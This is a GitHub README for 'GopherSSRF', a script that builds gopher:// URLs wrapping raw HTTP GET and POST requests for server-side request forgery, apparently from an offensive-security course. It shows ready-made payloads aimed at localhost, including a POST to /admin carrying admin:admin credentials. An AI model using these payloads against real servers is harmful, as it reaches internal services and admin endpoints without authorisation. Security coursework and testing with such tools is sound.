Skip to content

fuzzlove/GopherSSRF

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 

Repository files navigation

Gopher HTTP requests (POST/GET)

URL: gopher: // :/_ followed by TCP data stream

Tip for determing POST request length:

└─$ echo "username=admin&password=admin" | wc -c

30

Subtract 1 from this result. = 29 -> Then add this to content length header.

Example output:


└─$ python3 gopher-requests.py

1. Gopher GET Request
2. Gopher POST Request

[*] Please select GET (1) or POST (2) request: 1

[x] Gopher GET Request: gopher://localhost:80/_GET%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A

1. Gopher GET Request
2. Gopher POST Request

[*] Please select GET (1) or POST (2) request: 2

[?] Informational: The four HTTP headers above are required for POST requests, namely POST, Host, Content-Type and Content-Length. If it is missing, an error will be reported, but GET does not use it.

[x] Gopher POST Request: gopher://127.0.0.1:80/_POST%20/admin%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2029%0D%0A%0D%0Ausername%3Dadmin%26password%3Dadmin%0D%0A


Update: This script was helpful during a recent offensive-security course I took, I thought it would be nice to put it out in the universe. It will help you form GET and POST requests that will be able to be used in SSRF.

Releases

No releases published

Packages

 
 
 

Contributors

Languages